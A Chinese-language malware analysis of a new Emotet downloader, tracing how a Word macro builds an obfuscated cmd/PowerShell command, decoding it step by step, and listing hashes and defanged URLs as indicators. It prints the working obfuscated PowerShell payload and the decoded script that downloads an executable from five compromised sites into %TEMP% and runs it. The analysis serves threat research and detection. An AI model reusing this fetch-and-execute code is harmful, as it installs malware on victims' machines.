导语:我已经对Emotet Downloader进行了剖析,它使用宏和Powershell命令从受攻击的网站下载Emotet。最近他们已经修改了下载器的工作方式,并且已经被上传到了VirusBay。本文我们将对其进行分析!
我已经对Emotet Downloader进行了剖析,它使用宏和Powershell命令从受攻击的网站下载Emotet。最近他们已经修改了下载器的工作方式,并且已经被上传到了VirusBay。下面我们对其进行分析!
MD5哈希值:53ea2608f0e34e3e746801977b778305
如下图所示(右侧是新样本,左侧是旧样本),新旧两个文档有一些相似之处,他们均通过呈现一个旧版本的Microsoft Office创建的文档,谎称出现错误,并且为了查看错误受害者需要点击Enable Content(启用内容)。这一操作看起来似乎是合法的,那么让我们看看当点击了Enable Content时会运行什么程序。
当打开Macro部分时,出现两个宏,其中包含几个函数/子例程。首先查看的是autoopen()或auto_open(),因为该操作是单击“Enable Content”时被执行的。
还有对Sqr()的调用,它计算一个数字的平方根并将得出的值返回,我们稍后会对其分析。首先,我们将这些宏提取到一个文本文件中,这样可以更容易地对其进行处理。
由于纯文本的dropper(恶意应用输出程序)和downloader(恶意应用下载程序)因包含垃圾代码而臭名昭著,所以每当声明一个变量时,我都会检查该变量是否存在于宏的其他地方。“On Error Resume Next”说明文档中含有垃圾代码,它的基本意思是“如果提示错误,请忽略,继续进行下一步操作”。我首先检查了Hirfd和MLiDY是否同时存在于包含宏的两个文件中,结果不是。因此我假设该变量在整个恶意攻击过程中不是必需的,如果将剩下的部分除去混
淆后出现任何错误,我将不得不返回去分析剩下的部分。一旦我们忽略了垃圾代码并添加了一些评论,我们会得到如下结果:
因此,autoopen()只负责执行函数vwncz(),这是第一个宏中的另一个函数。
表面上看,这个函数中的垃圾代码似乎包含了CStr(),就像autoopen()一样,因此如果删除了这些行就会得到了如下:
可以认为这些值(wHjAK()、rDRYBhb()…)是函数,因为如果将它们与第二个宏交叉引用,它们则会被声明为函数。由此可知第二个宏;的目的是形成字符串。Shell()出现在字符串的开头,它可以在机器上执行文件。第一个参数中的第一个字母是“C”,因此我们可以猜测这与cmd有关。字符串末尾的0可以将程序从用户中隐藏——它基本上是vbHide,而不是它的数值。现在我们已经完全去除了第一个宏的混淆,下面继续对下一个宏去除混淆。
查看第一个宏中shell执行的字符串,wHjAK()是第一个被调用的,所以我们从该函数开始。将这两个文件进行比较,这两个文件都有CStr,因此可以假设任何带有CStr的字符串都是垃圾代码。去除所有带有CStr的字符串后,我们得到以下结果:
从外观上看,因为wHjAK是一个函数它会返回一个值,最后的字符串存储在wHjAK中,通过将所有的字符串添加在一起可以得到最终的输出。只需启动一个Python Interpreter,并将不包含End Function以及On Error Resume Next以上的所有东西的代码粘贴到其中,这样就不用手动添加字符串。通过这些操作,只需输入print wHjAK就可获得最终的字符串。
虽然很难猜测如果没有剩下的部分代码,该命令可以做什么,可以认为这一部分代码正在声明不同的变量,并执行一个隐藏命令提示符- %^c^o^m^S^p^E^c^% 基本上指向命令提示符的路径。现在我们可以把函数缩小到如下:
这种垃圾代码“模式”在每个函数中都存在,因此对于第三个函数,当删除所有CStr字符串并将其传输到Python Interpreter时,得到如下:
函数二和函数三是这样的:
虽然也可以对剩下的函数进行这种操作,但是太浪费时间。一个简单的Python脚本可以删除所有带有CStr的字符串,并将其余的行写到一个文件中:
当在第二个宏文件上运行该脚本时,可以提取所有不包含CStr的字符串。但是,如果这样会出现一个问题,那就是文件中会包含不必要的行,例如On Error Resume Next,因此可以将If语句更改为如下所示:
if "CStr" not in lines and "End" not in lines and "Error" not in lines and "Function_" not in lines:
这样就只剩下变量了。现在可以将所有重要的行写到文件中,但是仍然需要自己形成最终的字符串。我们或许可以再把它自动化一些。首先,我们需要找到函数名,并将找到的函数名输出。获取了包含最终字符串的函数之后,将数据写到另一个文件——这次是一个Python File,我们可以执行它来获得完整的字符串。新的文件将找到完整的字符串并将其写到另一个文件中,这样我们就可以将其读入主程序的内存中,并将其存储在一个变量中。如果这一操作没有作用,可以在这里找到完整的脚本——它是一个输出最终解码字符串的完整脚本。见结尾!
总之,在运行形成最终字符串的脚本时,我们将它作为shell命令:
因此,首先,该命令正设置全局变量,然后执行一个base64编码的字符串。在对base64字符串进行解码后,我们得到如下输出:
乍一看,它看起来像shellcode——但它不是。每一个\x00在空字节后面都包含一个字母。如果我们删除所有的空字节,得到的脚本如下:
因此可以确认这实际上是一个Powershell脚本,但是它又是在哪里被调用的?如果回到原始命令并分析所设置的变量,文件末尾如下:
!%izXfwddfGKP%!!%vqJRNrOQqvMv%!!%BOuDbApmqzScN%!!%voYPuLNXjn%!!%MUtvjfFlzFFsL%!!%HEYjHOmzK%! -e
如果我们将该特定字符串中的每个变量解析为所声明的变量,得到如下:
!%izXfwddfGKP%! = !%fuqGUmOvI%! = p !%vqJRNrOQqvMv%! = !%KXEhPKfZWWmaJ%! = o^w !%BOuDbApmqzScN%! = e^r !%voYPuLNXjn%! = s !%MUtvjfFlzFFsL%! = he !%HEYjHOmzK%! = ll !%izXfwddfGKP%! !%vqJRNrOQqvMv%! !%BOuDbApmqzScN%! !%voYPuLNXjn%! !%MUtvjfFlzFFsL%! !%HEYjHOmzK%! = po^we^rshell = powershell
因此,通过使用变量声明,该downloader能够形成字符串“powershell”并执行编码的字符串。现在回到我们找到的powershell脚本。
( neW-ObJect io.compRessION.DEfLatEstreAm([IO.MEMORystream][SySTEm.CONvErT]::fRoMBASE64stRiNg( 'VZDtS8MwEMb/lXwodEOXOF/RImzOijpfJvVlG4Jk6Wni2qQkV9s69r8b3RT8cnB3v+ce7gn06Lz4vCTHREPVMbN3EEgs16nJoyC9HX2c3v3fJY1DyOkNIH2C2SBToDEKqpOLGD0YSsTiiDGeQ11TN2fT/cvJlPXW46qqqOSpspkq8xItOOSld0MqTM66DUoxHP7REniGspCNU8J9E5SXrNjqD+KHfxdz7synyrimSr8aNulfdfvyj3DzJgOegv05wW7PD5pdvc1CmhSZwlbYC9tR8Hgx7t8n/oFglQfVUGOru0n2D7s7ex7Qw0E8Kb8B0B9HPoGCbJDwOfT1V+x7CjWE0auxwIVsBdU4nt0Rpckqn/YCbbNYp0pPTaUzw9MzlcEapfcmQav0W6u9SdaW7ShBbrEzskaAc7/jaOY95tFScBRyUVmF0JHGIQleaFwLKFAZTa+9gr9BtFx+AQ=='), [iO.cOmpREssIOn.COMPrESsioNmODe]::DeCOMpReSs) | %{ neW-ObJect sYStEm.iO.StrEaMReADER( $_,[SYstEM.tExt.eNcOdInG]::AsCII) } ).rEadtOeND()|&((VAriABle '*mdr*').NAMe[3,11,2]-jOin'')
该脚本中嵌入了一个Base64字符串,它是从使用[System.Convert]::FromBase64String的Base64转换而来的。问题是,当我们尝试用Base64解码该字符串时,得到的是乱码。
原因是该字符串被压缩了。为了解压它,可以使用一个名为zlib的Python模块。使用zlib.decompress()将压缩数据作为参数传递,得到解压缩值,即:
上篇Emotet文章中介绍了下载脚本,在每个“;”后添加新的一行形成如下:
$nPHpzJ = new-object random; $dOPvDQ = new-object System.Net.WebClient;$wBIEt = 'http://amexx.sk/Z6JYZ/@http://www.hadirliumutrestaurant.com/1ythcKK/@http://healthphysics.com.au/p0ACEU/@http://www.masozilan.info/YAL1Ah/@http://skyleaders.com/OH7y4n2/'.Split); $VIXATS = $nPHpzJ.next(1, 69135); $nKCEYu = $env:temp + '\' + $VIXATS + '.exe'; for each ($wXEbQ in $wBIEt) { try { $dOPvDQ.DownloadFile($wXEbQ.ToString(), $nKCEYu); Start-Process $nKCEYu; break; } catch { write-host $_.Exception.Message; } }
简单的说,该脚本通过在1和69135之间随机选择一个数字创建一个随机的文件名,然后将它作为.exe存储在%TEMP%目录中。启动一个for循环,该循环遍历存储在$dOPvDQ中的每个URL。然后该脚本尝试从该站点下载一个文件,并将其存储在%TEMP%目录中。然后使用Start-Process执行该文件。在检查了所有站点是否会下载一个文件之后,我得出的结论是,网站所有者(因为这些站点是合法的,只是被攻击了)删除了托管在其web服务器上的Emotet可执行文件。
总结:
IOC:
哈希值(MD5):
文件: 53ea2608f0e34e3e746801977b778305
宏 1: a7f490aaab202c5fd38c136371009685
宏 2: 1bed5b9266f5497e258638eca7344963
URL:
hxxp://amexx.sk/Z6JYZ/
hxxp://www.hadirliumutrestaurant.com/1ythcKK/
hxxp://healthphysics.com.au/p0ACEU/
hxxp://www.masozilan.info/YAL1Ah/
hxxp://skyleaders.com/OH7y4n2/